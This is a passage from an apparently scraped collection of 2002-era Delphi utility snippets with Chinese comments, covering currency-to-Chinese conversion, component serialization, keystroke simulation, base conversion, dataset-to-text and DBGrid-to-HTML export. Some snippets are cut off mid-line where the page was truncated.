Result := StringReplace(Result, '百', '佰', [rfReplaceAll]);

Result := StringReplace(Result, '千', '仟', [rfReplaceAll]);

P := Pos('点', Result);

if P > 0 then begin

Insert('分', Result, P + 3);

Insert('角', Result, P + 2);

Result := StringReplace(Result, '点', '圆', [rfReplaceAll]);

Result := StringReplace(Result, '角分', '角', [rfReplaceAll]);

Result := StringReplace(Result, '零分', '', [rfReplaceAll]);

Result := StringReplace(Result, '零角', '', [rfReplaceAll]);

Result := StringReplace(Result, '分角', '', [rfReplaceAll]);

if Copy(Result, 1, 2) = '零圆' then

Result := StringReplace(Result, '零圆', '', [rfReplaceAll]);

end else Result := Result + '圆整';

Result := '人民币' + Result;

end; { MoneyCn }

///////End Source

///////Begin Demo

procedure TForm1.Button1Click(Sender: TObject);

begin

Edit1.Text := MoneyCn(StrToFloatDef(Edit3.Text, 0));

Edit2.Text := NumberCn(StrToFloatDef(Edit3.Text, 0));

end;

///////End Demo


判断是否完成一系列按键操作
(*//

标题:判断是否完成一系列按键操作

说明:示例按键彩蛋

设计:Zswang

日期:2002-01-25

支持:wjhu111@21cn.com

//*)

///////Begin Source

function IsSeriesKey(var nIndex: Integer; mShortCuts: array of TShortCut;

mShortCut: TShortCut): Boolean; { 返回是否完成一系列按键操作 }

begin

Result := False;

if (nIndex >= Low(mShortCuts)) and (nIndex <= High(mShortCuts)) then begin

if (mShortCuts[nIndex] = mShortCut) then

Inc(nIndex)

else nIndex := 0;

Result := nIndex > High(mShortCuts);

if Result then nIndex := 0;

end;

end; { IsSeriesKey }

///////End Source

///////Begin Demo

{ uses Menus }

procedure TForm1.FormCreate(Sender: TObject);

begin

KeyPreview := True;

end;

procedure TForm1.FormKeyUp(Sender: TObject; var Key: Word;

Shift: TShiftState);

{$J+}

const

vIndex: Integer = 0; //可修改类型常量(静态变量)适用Delphi6.0

{$J-}

begin

if IsSeriesKey(vIndex, [

TextToShortCut('Ctrl+z'),

TextToShortCut('Ctrl+s'),

TextToShortCut('Ctrl+w'),

TextToShortCut('Ctrl+a'),

TextToShortCut('Ctrl+n'),

TextToShortCut('Ctrl+g')],

ShortCut(Key, Shift)) then

ShowMessage('Hello World!');

end;

///////End Demo


处理窗体代码
(*//

标题:处理窗体代码

说明:既dfm格式;本函数来源于Delphi帮助

设计:Zswang

日期:2002-01-25

支持:wjhu111@21cn.com

//*)

///////Begin Source

function ComponentToString(Component: TComponent): string;

var

BinStream: TMemoryStream;

StrStream: TStringStream;

s: string;

begin

BinStream := TMemoryStream.Create;

try

StrStream := TStringStream.Create(s);

try

BinStream.WriteComponent(Component);

BinStream.Seek(0, soFromBeginning);

ObjectBinaryToText(BinStream, StrStream);

StrStream.Seek(0, soFromBeginning);

Result := StrStream.DataString;

finally

StrStream.Free;

end;

finally

BinStream.Free

end;

end; { ComponentToString }

function StringToComponent(Value: string; Instance: TComponent): TComponent;

//如果元件是嵌套形式则必须注册子元件类

//参考RegisterClasses();UnRegisterClasses()

var

StrStream: TStringStream;

BinStream: TMemoryStream;

begin

StrStream := TStringStream.Create(Value);

try

BinStream := TMemoryStream.Create;

try

ObjectTextToBinary(StrStream, BinStream);

BinStream.Seek(0, soFromBeginning);

Result := BinStream.ReadComponent(Instance);

finally

BinStream.Free;

end;

finally

StrStream.Free;

end;

end; { StringToComponent }

///////End Source

///////Begin Demo

procedure TForm1.Button1Click(Sender: TObject);

begin

Memo1.Text := ComponentToString(Edit1);

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

StringToComponent(Memo1.Text, Edit1);

end;

///////End Demo


多行文本输出到画布
(*//

标题:多行文本输出到画布

说明:示例滚屏效果

设计:Zswang

日期:2002-01-25

支持:wjhu111@21cn.com

//*)

///////Begin Source

procedure TextToCanvas(mStrings: TStrings; mCanvas: TCanvas; mOffset: TPoint);

{ 将多行文本输出到画布上 }

var

I: Integer;

vTextHeight: Integer;

begin

with mStrings, mCanvas do begin

vTextHeight := TextHeight('|');

for I := 0 to Pred(Count) do

TextOut(mOffset.X, mOffset.Y + vTextHeight * I, Strings[I]);

end;

end; { TextToCanvas }

///////End Source

///////Begin Demo

procedure TForm1.Timer1Timer(Sender: TObject);

const

{$J+}

vTop: Integer = -MaxInt; //for Delphi6.0

{$J-}

begin

if vTop <= -Memo1.Lines.Count * Image1.Canvas.TextHeight('|') then

vTop := Image1.ClientHeight

else Dec(vTop);

Image1.Canvas.FillRect(Image1.ClientRect);

TextToCanvas(Memo1.Lines, Image1.Canvas, Point(0, vTop));

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

DoubleBuffered := True; //for Delphi6.0

{ Image1.Transparent := True; //背景 }

Timer1.Interval := 50;

Timer1.Enabled := True;

end;

///////End Demo


复制元件
(*//

标题:复制元件

说明:支持复制子元件和事件;此函数难度比较大;强烈推荐

设计:Zswang

日期:2002-01-25

支持:wjhu111@21cn.com

//*)

////////Begin Source

uses

TypInfo;

function CopyComponent(mSource: TComponent; mParent: TComponent;

mOwner: TComponent): Boolean; { 返回复制元件是否成功 }

var

vComponent: TComponent;

I: Integer;

vMemoryStream: TMemoryStream;

vReader: TReader;

vPropList: PPropList;

vPropInfo: PPropInfo;

begin

Result := False;

vMemoryStream := TMemoryStream.Create;

vReader := TReader.Create(vMemoryStream, 256);

try

try

vMemoryStream.WriteComponent(mSource);

vMemoryStream.Position := 0;

vReader.Parent := mParent;

vComponent := vReader.ReadRootComponent(nil);

for I := 0 to GetPropList(mSource, vPropList) - 1 do begin

vPropInfo := vPropList^[I];

if vPropInfo^.PropType^.Kind = tkMethod then

SetMethodProp(vComponent, vPropInfo^.Name,

GetMethodProp(mSource, vPropInfo^.Name));

end;

except

Result := True;

Exit;

end;

finally

vReader.Free;

vMemoryStream.Free;

end;

if mSource is TWinControl then

for I := 0 to TWinControl(mSource).ControlCount - 1 do

if not CopyComponent(TWinControl(mSource).Controls[I],

vComponent, mOwner) then Exit;

Result := True;

end; { CopyComponent }

////////End Source

///////Begin Demo

procedure TForm1.Button1Click(Sender: TObject);

begin

RegisterClasses([TTabSheet, TMemo, TEdit, TLabel, TButton]);

CopyComponent(TabSheet1, PageControl1, Self);

UnRegisterClasses([TTabSheet, TMemo, TEdit, TLabel, TButton]);

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

ShowMessage('Hello Worlds!');

end;

///////End Demo


无限进制转换
(*//

标题:无限进制转换

说明:使用于数学领域进制之间相互转换

设计:Zswang

日期:2002-01-24

支持:wjhu111@21cn.com

//*)

///////Begin Source

const

cScaleChar = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';

function IntPower(Base, Exponent: Integer): Integer; { 返回Base的Exponent次方 }

var

I: Integer;

begin

Result := 1;

for I := 1 to Exponent do

Result := Result * Base;

end; { IntPower }

function IntToDigit(mNumber: Integer; mScale: Byte;

mLength: Integer = 0): string;

{ 返回整数的进制表示;mScale指定多少进制;mLength指定长度,长度不足时向前补0 }

var

I, J: Integer;

begin

Result := '';

I := mNumber;

while (I >= mScale) and (mScale > 1) do begin

J := I mod mScale;

I := I div mScale;

Result := cScaleChar[J + 1] + Result;

end;

Result := cScaleChar[I + 1] + Result;

for I := 1 to mLength - Length(Result) do Result := '0' + Result;

end; { IntToDigit }

function DigitToInt(mDigit: string; mScale: Byte): Integer;

{ 返回进制表示转换成整数;mScale指定多少进制 }

var

I: Byte;

L: Integer;

begin

Result := 0;

mDigit := UpperCase(mDigit);

L := Length(mDigit);

for I := 1 to L do

Result := Result + (Pos(mDigit[L - I + 1], cScaleChar) - 1) *

IntPower(mScale, I - 1);

end; { DigitToInt }

///////End Source

///////Begin Demo

procedure TForm1.Button1Click(Sender: TObject);

begin

Edit1.Text := IntToDigit(StrToIntDef(Edit2.Text, 0), 16);

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

Edit2.Text := IntToStr(DigitToInt(Edit1.Text, 16));

end;

///////End Demo


对全角半角字符串的处理
(*//

标题:对全角半角字符串的处理

说明:使用于运用程序中避免用户输入字符不统一

设计:Zswang

日期:2002-01-24

支持:wjhu111@21cn.com

//*)

///////Begin Source

const

cCharCn: array[#32 .. #126] of string[2] =

(

{ }'　',{!}'！',{"}'＂',{#}'＃',{ }'＄',{%}'％',{&}'＆',{'}'＇',{(}'（',

{)}'）',{*}'＊',{+}'＋',{,}'，',{-}'－',{.}'。',{/}'／',{0}'０',{1}'１',

{2}'２',{3}'３',{4}'４',{5}'５',{6}'６',{7}'７',{8}'８',{9}'９',{:}'：',

{;}'；',{<}'＜',{=}'＝',{>}'＞',{?}'？',{@}'＠',{A}'Ａ',{B}'Ｂ',{C}'Ｃ',

{D}'Ｄ',{E}'Ｅ',{F}'Ｆ',{G}'Ｇ',{H}'Ｈ',{I}'Ｉ',{J}'Ｊ',{K}'Ｋ',{L}'Ｌ',

{M}'Ｍ',{N}'Ｎ',{O}'Ｏ',{P}'Ｐ',{Q}'Ｑ',{R}'Ｒ',{S}'Ｓ',{T}'Ｔ',{U}'Ｕ',

{V}'Ｖ',{W}'Ｗ',{X}'Ｘ',{Y}'Ｙ',{Z}'Ｚ',{[}'［',{\


模拟系统按键
(*//

标题:模拟系统按键

说明:支持组合键;不支持部分系统热键(如:Ctrl+Shift+Del...)

设计:Zswang

日期:2002-01-24

支持:wjhu111@21cn.com

//*)

///////Begin Source

procedure SendKey(const mKey: Word; mShiftState: TShiftState;

mCount: Integer = 1); { 模拟系统按键;mCount指定按键次数 }

const

cExtended: set of Byte = [VK_UP, VK_DOWN, VK_LEFT, VK_RIGHT, VK_HOME,

VK_END, VK_PRIOR, VK_NEXT, VK_INSERT, VK_DELETE];

procedure pKeyboardEvent(mKey, mScanCode: Byte; mFlags: Longint);

var

vKeyboardMsg: TMsg;

begin

keybd_event(mKey, mScanCode, mFlags, 0);

while PeekMessage(vKeyboardMsg, 0, WM_KEYFIRST, WM_KEYLAST, PM_REMOVE) do

begin

TranslateMessage(vKeyboardMsg);

DispatchMessage(vKeyboardMsg);

end;

end; { pKeyboardEvent }

procedure pSendKeyDown(mKey: Word; mGenUpMsg: Boolean);

var

vScanCode: Byte;

vNumState: Boolean;

vKeyBoardState: TKeyboardState;

begin

if (mKey = VK_NUMLOCK) then begin

vNumState := ByteBool(GetKeyState(VK_NUMLOCK) and 1);

GetKeyBoardState(vKeyBoardState);

if vNumState then

vKeyBoardState[VK_NUMLOCK] := (vKeyBoardState[VK_NUMLOCK] and not 1)

else vKeyBoardState[VK_NUMLOCK] := (vKeyBoardState[VK_NUMLOCK] or 1);

SetKeyBoardState(vKeyBoardState);

Exit;

end;

vScanCode := Lo(MapVirtualKey(mKey, 0));

if (mKey in cExtended) then begin

pKeyboardEvent(mKey, vScanCode, KEYEVENTF_EXTENDEDKEY);

if mGenUpMsg then

pKeyboardEvent(mKey, vScanCode,

KEYEVENTF_EXTENDEDKEY or KEYEVENTF_KEYUP)

end else begin

pKeyboardEvent(mKey, vScanCode, 0);

if mGenUpMsg then pKeyboardEvent(mKey, vScanCode, KEYEVENTF_KEYUP);

end;

end; { pSendKeyDown }

procedure pSendKeyUp(mKey: Word);

var

vScanCode: Byte;

begin

vScanCode := Lo(MapVirtualKey(mKey, 0));

if mKey in cExtended then

pKeyboardEvent(mKey, vScanCode, KEYEVENTF_EXTENDEDKEY and KEYEVENTF_KEYUP)

else pKeyboardEvent(mKey, vScanCode, KEYEVENTF_KEYUP);

end; { pSendKeyUp }

var

I: Integer;

begin

for I := 1 to mCount do begin

if ssShift in mShiftState then pSendKeyDown(VK_SHIFT, False);

if ssCtrl in mShiftState then pSendKeyDown(VK_CONTROL, False);

if ssAlt in mShiftState then pSendKeyDown(VK_MENU, False);

pSendKeyDown(mKey, True);

if ssShift in mShiftState then pSendKeyUp(VK_SHIFT);

if ssCtrl in mShiftState then pSendKeyUp(VK_CONTROL);

if ssAlt in mShiftState then pSendKeyUp(VK_MENU);

end;

end; { SendKey }

///////End Source

///////Begin Demo

procedure TForm1.Button1Click(Sender: TObject);

begin

SendKey(VK_F4, [ssAlt]);

end;

///////End Demo


数据集和文本间转换
(*//

标题:数据集和文本间转换

说明:不支持多行文本类型和其他二进制类型

设计:Zswang

日期:2002-01-24

支持:wjhu111@21cn.com

//*)

///////Begin Source

function StrLeft(const mStr: string; mDelimiter: string): string;

{ 返回左分隔字符串 }

begin

Result := Copy(mStr, 1, Pos(mDelimiter, mStr) - 1);

end; { StrLeft }

function ListCount(mList: string; mDelimiter: string = ','): Integer;

{ 返回列表数 }

var

I, L: Integer;

begin

Result := 0;

if mList = '' then Exit;

L := Length(mList);

I := Pos(mDelimiter, mList);

while I > 0 do begin

mList := Copy(mList, I + Length(mDelimiter), L);

I := Pos(mDelimiter, mList);

Inc(Result);

end;

Inc(Result);

end; { ListCount }

function ListValue(mList: string; mIndex: Integer; mDelimiter: string = ','): string;

{ 返回列表指定位置的元素 }

var

I, L, K: Integer;

begin

L := Length(mList);

I := Pos(mDelimiter, mList);

K := 0;

Result := '';

while (I > 0) and (K <> mIndex) do begin

mList := Copy(mList, I + Length(mDelimiter), L);

I := Pos(mDelimiter, mList);

Inc(K);

end;

if K = mIndex then Result := StrLeft(mList + mDelimiter, mDelimiter);

end; { ListValue }

function DataSetToText(mDataSet: TDataSet; mStrings: TStrings;

mDelimiter: string = #9): Boolean; { 返回数据集转换到文本中是否成功 }

var

vBookmark: string;

I: Integer;

S: string;

begin

Result := False;

if (not Assigned(mDataSet)) or (not mDataSet.Active) or

(not Assigned(mStrings)) then Exit;

mStrings.Text :=

StringReplace(Trim(mDataSet.FieldList.Text), #13#10, mDelimiter, [rfReplaceAll]);

vBookmark := mDataSet.Bookmark;

mDataSet.DisableControls;

try

mDataSet.First;

while not mDataSet.Eof do begin

S := '';

for I := 0 to mDataSet.FieldList.Count - 1 do

S := S + mDelimiter + mDataSet.FieldList[I].AsString;

Delete(S, 1, Length(mDelimiter));

mStrings.Add(S);

mDataSet.Next;

end;

finally

mDataSet.Bookmark := vBookmark;

mDataSet.EnableControls;

end;

Result := True;

end; { DataSetToText }

function TextToDataSet(mStrings: TStrings; mDataSet: TDataSet;

mDelimiter: string = #9): Boolean; { 返回文本转换到数据集中是否成功 }

var

I, J, C: Integer;

vFieldNames: string;

begin

Result := False;

if (not Assigned(mDataSet)) or (not mDataSet.Active) or

(mStrings.Count <= 0) then Exit;

vFieldNames := mStrings[0];

C := ListCount(vFieldNames, mDelimiter);

for I := 1 to mStrings.Count - 1 do try

mDataSet.Append;

for J := 0 to C - 1 do

if mDataSet.FieldList.IndexOf(ListValue(vFieldNames, J, mDelimiter)) >= 0 then

mDataSet[ListValue(vFieldNames, J, mDelimiter)] :=

ListValue(mStrings[I], J, mDelimiter);

mDataSet.Post;

except

Exit;

end;

Result := True;

end; { TextToDataSet }

///////End Source

///////Begin Demo

procedure TForm1.Button1Click(Sender: TObject);

begin

DataSetToText(Table1, Memo1.Lines);

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

TextToDataSet(Memo1.Lines, Table1);

end;

///////End Demo


菜单和可视树相互转换
(*//

标题:菜单和可视树相互转换

说明:支持菜单项和接点添加

设计:Zswang

日期:2002-01-24

支持:wjhu111@21cn.com

//*)

///////Begin Source

function MenuItemToTreeNode(mMenuItem: TMenuItem; mTreeView: TTreeView;

mTreeNode: TTreeNode): Boolean; { 返回菜单项转换成树节点是否成功 }

var

I: Integer;

vTreeNode: TTreeNode;

begin

Result := False;

if (not Assigned(mTreeView)) or (not Assigned(mMenuItem)) then Exit;

try for I := 0 to Pred(mMenuItem.Count) do

if mMenuItem[I].Visible then begin

vTreeNode := mTreeView.Items.AddChildObject(mTreeNode,

StripHotkey(mMenuItem[I].Caption), mMenuItem[I]);

// ~~~~~~~~~~~除快捷键

vTreeNode.ImageIndex := mMenuItem[I].ImageIndex;

vTreeNode.SelectedIndex := mMenuItem[I].ImageIndex;

MenuItemToTreeNode(mMenuItem[I], mTreeView, vTreeNode);

end;

except

Exit;

end;

Result := True;

end; { MenuItemToTreeNode }

function TreeNodeToMenuItem(mTreeView: TTreeView; mTreeNode: TTreeNode;

mMenuItem: TMenuItem): Boolean; { 返回树节点转换成菜单项是否成功 }

var

I, J, K: Integer;

vMenuItem: TMenuItem;

begin

Result := False;

if (not Assigned(mTreeView)) or (not Assigned(mMenuItem)) then Exit;

if Assigned(mTreeNode) then begin

vMenuItem := TMenuItem.Create(mMenuItem.Owner);

vMenuItem.Caption := mTreeNode.Text;

vMenuItem.ImageIndex := mTreeNode.ImageIndex;

vMenuItem.Tag := mTreeNode.Index;

mMenuItem.Add(vMenuItem);

for I := 0 to mTreeNode.Count - 1 do

TreeNodeToMenuItem(mTreeView, mTreeNode[I], vMenuItem);

end else begin

K := -1;

for I := 0 to mTreeView.Items.Count - 1 do begin

for J := mTreeView.Items[I].Level to K do

mMenuItem := mMenuItem.Parent;

vMenuItem := TMenuItem.Create(mMenuItem.Owner);

vMenuItem.Caption := mTreeView.Items[I].Text;

vMenuItem.ImageIndex := mTreeView.Items[I].ImageIndex;

vMenuItem.Tag := I;

mMenuItem.Add(vMenuItem);

mMenuItem := vMenuItem;

K := mTreeView.Items[I].Level;

end;

end;

Result := True;

end; { TreeNodeToMenuItem }

///////End Source

///////Begin Demo

procedure TForm1.Button1Click(Sender: TObject);

begin

MenuItemToTreeNode(MainMenu1.Items, TreeView1, nil);

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

TreeNodeToMenuItem(TreeView1, nil, MainMenu1.Items);

end;

///////End Demo


检查数字字符串
(*//

标题:检查数字字符串

说明:使用于运用程序检查用户数字输入

设计:Zswang

日期:2002-01-24

支持:wjhu111@21cn.com

//*)

///////Begin Source

function IsNumber(mStr: string): Boolean; { 返回字符串是否是正确的数字表达 }

var

I: Real;

E: Integer;

begin

Val(mStr, I, E);

Result := E = 0;

E := Trunc(I);

end; { IsNumber }

function IsInteger(mStr: string): Boolean; { 返回字符串是否是正确的整数表达 }

var

I: Integer;

E: Integer;

begin

Val(mStr, I, E);

Result := E = 0;

E := Trunc(I);

end; { IsInteger }

///////End Source

///////Begin Demo

procedure TForm1.Button1Click(Sender: TObject);

begin

CheckBox1.Checked := IsNumber(Edit1.Text);

CheckBox2.Checked := IsInteger(Edit1.Text);

end;

///////End Demo


全排列
123

132

213

231

312

321

function ZsList(mStr: string): string; { 全排列 }

procedure pZsList(mLeft, mRight: string);

var

I, L: Integer;

Temp: string;

begin

L := Length(mLeft);

if L = 0 then

Result := Result + mRight + #13#10

else for I := 1 to L do begin

Temp := mLeft;

Delete(Temp, I, 1);

pZsList(Temp, Concat(mRight, mLeft[I]));

end;

end; { [ZsList<pZsList>] }

begin

Result := '';

pZsList(mStr, '');

end; { ZsList }


阶梯
function ZsLadder(mText: string; mLength: Integer = 0): string; { 阶梯 }

var

I, L: Integer;

S, T: string;

begin

Result := '';

L := Length(mText);

if L < 1 then Exit;

if mLength <= 0 then mLength := L;

S := '';

for I := 1 to mLength do S := S + mText[1]; //00000

T := '';

for I := 1 to mLength do T := T + mText[L]; //44444

while S <> T do begin

Result := Result + S + #13#10;

for I := mLength downto 1 do

if S[I] = mText[L] then

S[I] := mText[1]

else begin

S[I] := mText[Pos(S[I], mText) + 1];

Break;

end;

end;

Result := Result + S + #13#10;

end; { ZsLadder }

procedure TForm1.Button1Click(Sender: TObject);

begin

Memo1.Text := ZsLadder(Edit1.Text, 3);

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

Edit1.Text := '012';

end;


全关系
function ZsMinDivision(mText: string; mSet: TSysCharSet): string;

var

I: Integer;

S: string;

B: Boolean;

begin

Result := '';

S := '';

B := False;

for I := 1 to Length(mText) do begin

if B then

if mText[I] in mSet then

S := S + mText[I]

else begin

B := False;

if Length(Result) > Length(S) then

Result := S

end

else if mText[I] in mSet then begin

B := True;

S := mText[I];

end;

end;

if B and (Length(Result) > Length(S)) then Result := S;

end; { ZsMinDivision }

function ZsMaxDivision(mText: string; mSet: TSysCharSet): string;

var

I: Integer;

S: string;

B: Boolean;

begin

Result := '';

S := '';

B := False;

for I := 1 to Length(mText) do begin

if B then

if mText[I] in mSet then

S := S + mText[I]

else begin

B := False;

if Length(Result) < Length(S) then

Result := S

end

else if mText[I] in mSet then begin

B := True;

S := mText[I];

end;

end;

if B and (Length(Result) < Length(S)) then Result := S;

end; { ZsMaxDivision }

function ZsPort(mText: string): string; { 全关系 }

procedure pZsPort(mText: string);

var

vLeft, vRight: string;

S: string;

I, L: Integer;

vText: string;

begin

S := ZsMaxDivision(mText, [#0..#255] - ['(', '|', ')']);

L := Length(S);

if L <= 1 then

Result := Result + mText + #13#10

else for I := 1 to L - 1 do begin

vLeft := Copy(S, 1, I);

vRight := Copy(S, I + 1, L);

vText := mText;

vText := StringReplace(vText, S, Format('(%s|%s)', [vLeft, vRight]), [rfReplaceAll]);

pZsPort(vText);

end;

end;

begin

Result := '';

pZsPort(mText);

end; { ZsPort }


DBGrid变换成HTML表格
(*//

标题:数据网格处理成超文本表格

说明:支持对齐、字体、背景颜色;做打印又有一种新方法了！

设计:Zswang

日期:2002-05-19

支持:wjhu111@21cn.com

//*)

///////Begin Source

function ColorToHtml(mColor: TColor): string;

begin

mColor := ColorToRGB(mColor);

Result := Format('#%.2x%.2x%.2x',

[GetRValue(mColor), GetGValue(mColor), GetBValue(mColor)]);

end; { ColorToHtml }

function StrToHtml(mStr: string; mFont: TFont = nil): string;

var

vLeft, vRight: string;

begin

Result := mStr;

Result := StringReplace(Result, '&', '&AMP;', [rfReplaceAll]);

Result := StringReplace(Result, '<', '&LT;', [rfReplaceAll]);

Result := StringReplace(Result, '>', '&GT;', [rfReplaceAll]);

if Result ='' then Result:='-';

if not Assigned(mFont) then Exit;

vLeft := Format('<FONT FACE="%s" COLOR="%s">',

[mFont.Name, ColorToHtml(mFont.Color)]);

vRight := '</FONT>';

if fsBold in mFont.Style then begin

vLeft := vLeft + '<B>';

vRight := '</B>' + vRight;

end;

if fsItalic in mFont.Style then begin

vLeft := vLeft + '<I>';

vRight := '</I>' + vRight;

end;

if fsUnderline in mFont.Style then begin

vLeft := vLeft + '<U>';

vRight := '</U>' + vRight;

end;

if fsStrikeOut in mFont.Style then begin

vLeft := vLeft + '<S>';

vRight := '</S>' + vRight;

end;

Result := vLeft + Result + vRight;

end; { StrToHtml }

function DBGridToHtmlTable(mDBGrid: TDBGrid; mStrings: TStrings;

mCaption: TCaption = ''): Boolean;

const

cAlignText: array[TAlignment] of string = ('LEFT', 'RIGHT', 'CENTER');

var

vColFormat: string;

vColText: string;

vAllWidth: Integer;

vWidths: array of Integer;

vBookmark: string;

I, J: Integer;

begin

Result := False;

if not Assigned(mStrings) then Exit;

if not Assigned(mDBGrid) then Exit;

if not Assigned(mDBGrid.DataSource) then Exit;

if not Assigned(mDBGrid.DataSource.DataSet) then Exit;

if not mDBGrid.DataSource.DataSet.Active then Exit;

vBookmark := mDBGrid.DataSource.DataSet.Bookmark;

mDBGrid.DataSource.DataSet.DisableControls;

try

J := 0;

vAllWidth := 0;

for I := 0 to mDBGrid.Columns.Count - 1 do

if mDBGrid.Columns[I].Visible then begin

Inc(J);

SetLength(vWidths, J);

vWidths[J - 1] := mDBGrid.Columns[I].Width;

Inc(vAllWidth, mDBGrid.Columns[I].Width);

end;

if J <= 0 then Exit;

mStrings.Clear;

mStrings.Add(Format('<TABLE BGCOLOR="%s" BORDER=1 WIDTH="100%%">',

[ColorToHtml(mDBGrid.Color)]));

if mCaption <> '' then

mStrings.Add(Format('<CAPTION>%s</CAPTION>', [StrToHtml(mCaption)]));

vColFormat := '';

vColText := '';

vColFormat := vColFormat + '<TR>'#13#10;

vColText := vColText + '<TR>'#13#10;

J := 0;

for I := 0 to mDBGrid.Columns.Count - 1 do

if mDBGrid.Columns[I].Visible then begin

vColFormat := vColFormat + Format(

' <TD BGCOLOR="%s" ALIGN=%s WIDTH="%d%%">DisplayText%d</TD>'#13#10,

[ColorToHtml(mDBGrid.Columns[I].Color),

cAlignText[mDBGrid.Columns[I].Alignment],

Round(vWidths[J] / vAllWidth * 100), J]);

vColText := vColText + Format(

' <TD BGCOLOR="%s" ALIGN=%s WIDTH="%d%%">%s</TD>'#13#10,

[ColorToHtml(mDBGrid.Columns[I].Title.Color),

cAlignText[mDBGrid.Columns[I].Alignment],

Round(vWidths[J] / vAllWidth * 100),

StrToHtml(mDBGrid.Columns[I].Title.Caption,

mDBGrid.Columns[I].Title.Font)]);

Inc(J);

end;

vColFormat := vColFormat + '</TR>'#13#10;

vColText := vColText + '</TR>'#13#10;

mStrings.Text := mStrings.Text + vColText;

mDBGrid.DataSource.DataSet.First;

while not mDBGrid.DataSource.DataSet.Eof do begin

J := 0;

vColText := vColFormat;

for I := 0 to mDBGrid.Columns.Count - 1 do

if mDBGrid.Columns[I].Visible then begin

vColText := StringReplace(vColText, Format('>DisplayText%d<', [J]),

Format('>%s<', [StrToHtml(mDBGrid.Columns[I].Field.DisplayText,

mDBGrid.Columns[I].Font)]),

[rfReplaceAll]);

Inc(J);

end;

mStrings.Text := mStrings.Text + vColText;

mDBGrid.DataSource.DataSet.Next;

end;

mStrings.Add('</TABLE>');

finally

mDBGrid.DataSource.DataSet.Bookmark := vBookmark;

mDBGrid.DataSource.DataSet.EnableControls;

vWidths := nil;

end;

Result := True;

end; { DBGridToHtmlTable }

///////End Source

{ uses ShellApi; }

///////Begin Demo

procedure TForm1.Button1Click(Sender: TObject);

begin

DBGridToHtmlTable(DBGrid1, Memo1.Lines, Caption);

Memo1.Lines.SaveToFile('c:.htm');

ShellExecute(Handle, nil, 'c:.htm', nil, nil, SW_SHOW);

end;

///////End Demo


颜色列表转换到图形列表
(*//

标题:颜色列表转换到图形列表

说明:用于利用菜单选择颜色

设计:Zswang

日期:2002-03-31

支持:wjhu111@21cn.com

//*)

///////Begin Source

function ColorsToImageList(mColors: array of TColor;

mImageList: TImageList; mAppend: Boolean = False): Boolean;

{ 将颜色列表转换到图形列表中 }

var

I: Integer;

vBitmap: TBitmap;

begin

Result := False;

if not Assigned(mImageList) then Exit;

if not mAppend then mImageList.Clear;

vBitmap := TBitmap.Create;

try

vBitmap.Height := mImageList.Height;

vBitmap.Width := mImageList.Width;

for I := Low(mColors) to High(mColors) do begin

vBitmap.Canvas.Pen.Color := mColors[I];

vBitmap.Canvas.Brush.Color := mColors[I];

vBitmap.Canvas.FillRect(Rect(0, 0, vBitmap.Width, vBitmap.Height));

mImageList.Add(vBitmap, nil);

end;

finally

vBitmap.Free;

end;

Result := True;

end; { ColorsToImageList }

///////End Source

///////Begin Demo

procedure TForm1.FormCreate(Sender: TObject);

var

vMenuItem: TMenuItem;

vColor: TColor;

I: Integer;

begin

Randomize;

PopupMenu := PopupMenu1;

PopupMenu1.Images := ImageList1;

for I := 1 to 10 do begin

vColor := RGB(Random(256), Random(256), Random(256));

vMenuItem := TMenuItem.Create(Self);

vMenuItem.Caption := ColorToString(vColor);

vMenuItem.ImageIndex := ImageList1.Count;

vMenuItem.OnClick := MenuItemClick;

ColorsToImageList([vColor], ImageList1, True);

PopupMenu1.Items.Add(vMenuItem);

end;

end;

procedure TForm1.MenuItemClick(Sender: TObject);

begin

Color := StringToColor(StripHotkey(TMenuItem(Sender).Caption));

end;

///////End Demo


处理数据网格的编辑框
(*//

标题:处理数据网格的编辑框

说明:示例添加焦点颜色;获取还没有提交到数据集的字段文本

设计:Zswang

日期:2002-03-31

支持:wjhu111@21cn.com

//*)

///////Begin Source

function GetDBGridEdit(mDBGrid: TDBGrid): TEdit;

var

I: Integer;

begin

Result := nil;

if not Assigned(mDBGrid) then Exit;

if not mDBGrid.EditorMode then begin

mDBGrid.EditorMode := True;

mDBGrid.EditorMode := False;

end;

with mDBGrid do for I := 0 to Pred(ComponentCount) do

if Components[I] is TCustomEdit then begin

Result := TEdit(Components[I]);

Break;

end;

end; { GetDBGridEdit }

function GetDBGridEditText(mDBGrid: TDBGrid): string;

var

vEdit: TEdit;

begin

vEdit := GetDBGridEdit(mDBGrid);

if Assigned(vEdit) then

Result := vEdit.Text

else Result := '';

end; { GetDBGridEditText }

///////End Source

///////Begin Demo

procedure TForm1.DBGrid1Enter(Sender: TObject);

var

vEdit: TEdit;

begin

vEdit := GetDBGridEdit(TDBGrid(Sender));

if Assigned(vEdit) then vEdit.Color := clYellow;

end;

procedure TForm1.DBGrid1KeyUp(Sender: TObject; var Key: Word;

Shift: TShiftState);

begin

Caption := GetDBGridEditText(TDBGrid(Sender));

end;

///////End Demo


处理IDE特殊字符
(*//

标题:处理IDE特殊字符

说明:就算Borland公司的人看了也会下一跳！

设计:Zswang

日期:2002-04-18

支持:wjhu111@21cn.com

//*)

///////Begin Source

const

cIDEc: array[#0..#255] of string =

(

'^'#64, '^'#97, '^'#98, '^'#99, '^'#100, '^'#101, '^'#102, '^'#103, '^'#104,

'^'#105, '^'#106, '^'#107, '^'#108, '^'#109, '^'#110, '^'#111, '^'#112, '^'#113,

'^'#114, '^'#115, '^'#116, '^'#117, '^'#118, '^'#119, '^'#120, '^'#121, '^'#122,

'^'#91, '^'#92, '^'#93, '^'#94, '^'#95, '^'#96, '#33', '#34', '#35', '#36',

'#37', '#38', '#39', '#40', '#41', '#42', '#43', '#44', '#45', '#46', '#47',

'#48', '#49', '#50', '#51', '#52', '#53', '#54', '#55', '#56', '#57', '#58',

'^'#123, '^'#124, '^'#125, '^'#126, '^'#127, '#64', '^'#1, '^'#2, '^'#3, '^'#4,

'^'#5, '^'#6, '^'#7, '^'#8, '^'#9, '^'#10, '^'#11, '^'#12, '^'#13, '^'#14,

'^'#15, '^'#16, '^'#17, '^'#18, '^'#19, '^'#20, '^'#21, '^'#22, '^'#23, '^'#24,

